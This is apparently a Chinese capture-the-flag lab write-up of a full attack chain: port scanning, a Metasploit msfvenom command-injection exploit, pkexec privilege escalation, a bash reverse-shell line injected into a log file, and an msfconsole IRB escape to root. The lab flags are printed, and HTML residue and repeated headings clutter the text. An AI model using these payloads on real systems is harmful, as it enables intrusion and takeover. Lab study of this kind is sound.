Metasploit MSFvenom RCE + TRP00F权限提升 + Shell命令注入攻击链分析<\/h1>

1. 信息收集阶段<\/h2>

1.1 目标识别<\/h3>

目标IP: 10.10.10.226<\/code><\/li>
使用的网络接口: tun0<\/code><\/li>

存活检测命令:<\/li>
<\/ul>
ip=<\/span>'10.10.10.226'<\/span>; itf=<\/span>'tun0'<\/span>; if<\/span> nmap -Pn -sn "<\/span>$ip"<\/span> | grep -q "Host is up"<\/span>; then<\/span> echo -e "\e[32m[+] Target <\/span>$ip is up, scanning ports...\e[0m"<\/span>;
<\/span><\/span><\/code><\/pre>1.2 端口扫描<\/h3>
使用masscan进行快速端口扫描:<\/p>
ports=<\/span>$(<\/span>sudo masscan -p1-65535,U:1-65535 "<\/span>$ip"<\/span> --rate=<\/span>1000<\/span> -e "<\/span>$itf"<\/span> | awk '\/open\/ {print $4}'<\/span> | cut -d '\/'<\/span> -f1 | sort -n | tr '\n'<\/span> ','<\/span> | sed 's\/,$\/\/'<\/span>)<\/span>
<\/span><\/span><\/code><\/pre>1.3 服务识别<\/h3>
发现开放端口和服务:<\/p>

22\/tcp<\/strong>: OpenSSH 8.2p1 (Ubuntu Linux)<\/li>
5000\/tcp<\/strong>: Werkzeug httpd 0.16.1 (Python 3.8.5)<\/li>
<\/ul>
2. 初始攻击向量: MSFvenom RCE漏洞利用<\/h2>
2.1 漏洞背景<\/h3>
目标系统运行了一个基于Werkzeug的Python web应用(http:\/\/10.10.10.226:5000\/)，其中包含MSFvenom功能，存在模板命令注入漏洞。<\/p>
2.2 Metasploit利用步骤<\/h3>

选择利用模块:<\/li>
<\/ol>
msf6 > use exploit\/unix\/fileformat\/metasploit_msfvenom_apk_template_cmd_injection
<\/code><\/pre>

设置参数:<\/li>
<\/ol>
msf6 exploit(unix\/fileformat\/metasploit_msfvenom_apk_template_cmd_injection) > set lhost 10.10.16.28
msf6 exploit(unix\/fileformat\/metasploit_msfvenom_apk_template_cmd_injection) > set lport 443
msf6 exploit(unix\/fileformat\/metasploit_msfvenom_apk_template_cmd_injection) > set payload cmd\/unix\/reverse_netcat
<\/code><\/pre>

执行攻击:<\/li>
<\/ol>
msf6 exploit(unix\/fileformat\/metasploit_msfvenom_apk_template_cmd_injection) > exploit
<\/code><\/pre>
3. 权限提升: TRP00F工具利用<\/h2>
3.1 TRP00F工具介绍<\/h3>
TRP00F是一个权限提升工具，可从GitHub获取:<\/p>
https:\/\/github.com\/MartinxMax\/trp00f
<\/code><\/pre>
3.2 使用步骤<\/h3>
python3 trp00f.py --lhost 10.10.16.28 --lport 10000<\/span> --rhost 10.10.16.28 --rport 10032<\/span> --http 9999<\/span>
<\/span><\/span><\/code><\/pre>当提示是否利用pkexec漏洞时选择'y':<\/p>
[!] Do you want to exploit the vulnerability in file 'pkexec' ? (y\/n) >y
<\/code><\/pre>
成功获取user权限后找到用户flag:<\/p>
User.txt 644580568fbcc265d1ced3fddbc0c476
<\/code><\/pre>
4. 横向移动: Shell命令注入<\/h2>
4.1 漏洞分析<\/h3>
目标系统存在命令注入漏洞:<\/p>

使用单一空格字符作为字段分隔符(-d' '<\/code>)<\/li>
从第三个字段开始(-f3-<\/code>)被视为IP地址部分<\/li>
缺乏输入验证，导致任意命令执行<\/li>
<\/ul>
4.2 利用方法<\/h3>
通过向\/home\/kid\/logs\/hackers<\/code>文件写入恶意命令实现RCE:<\/p>
echo 'a b $(bash -c "bash -i &>\/dev\/tcp\/10.10.16.28\/443 0>&1")'<\/span> > \/home\/kid\/logs\/hackers
<\/span><\/span><\/code><\/pre>5. 最终权限提升: Metasploit Console<\/h2>
5.1 利用方法<\/h3>
目标系统安装了Metasploit Framework，可以通过sudo权限执行msfconsole:<\/p>
sudo \/opt\/metasploit-framework-6.0.9\/msfconsole
<\/span><\/span><\/code><\/pre>5.2 IRB逃逸<\/h3>
在msfconsole中使用IRB逃逸到root shell:<\/p>
msf6 > irb
>> system("\/bin\/bash")
<\/code><\/pre>
成功获取root权限后找到root flag:<\/p>
Root.txt db2144e9393c5bf0784e6ad50f97f7c1
<\/code><\/pre>
6. 总结攻击链<\/h2>

信息收集 → 2. MSFvenom RCE初始访问 → 3. TRP00F权限提升 → 4. Shell命令注入横向移动 → 5. Metasploit Console最终权限提升<\/li>
<\/ol>

Metasploit MSFvenom RCE + TRP00F权限提升 + Shell命令注入攻击链分析<\/h1>

1. 信息收集阶段<\/h2>

2. 初始攻击向量: MSFvenom RCE漏洞利用<\/h2>

2.1 漏洞背景<\/h3> 目标系统运行了一个基于Werkzeug的Python web应用(http:\/\/10.10.10.226:5000\/)，其中包含MSFvenom功能，存在模板命令注入漏洞。<\/p>

3. 权限提升: TRP00F工具利用<\/h2>

4. 横向移动: Shell命令注入<\/h2>

5. 最终权限提升: Metasploit Console<\/h2>

6. 总结攻击链<\/h2> 信息收集 → 2. MSFvenom RCE初始访问 → 3. TRP00F权限提升 → 4. Shell命令注入横向移动 → 5. Metasploit Console最终权限提升<\/li> <\/ol>

2.1 漏洞背景<\/h3>
目标系统运行了一个基于Werkzeug的Python web应用(http:\/\/10.10.10.226:5000\/)，其中包含MSFvenom功能，存在模板命令注入漏洞。<\/p>

6. 总结攻击链<\/h2>

信息收集 → 2. MSFvenom RCE初始访问 → 3. TRP00F权限提升 → 4. Shell命令注入横向移动 → 5. Metasploit Console最终权限提升<\/li> <\/ol>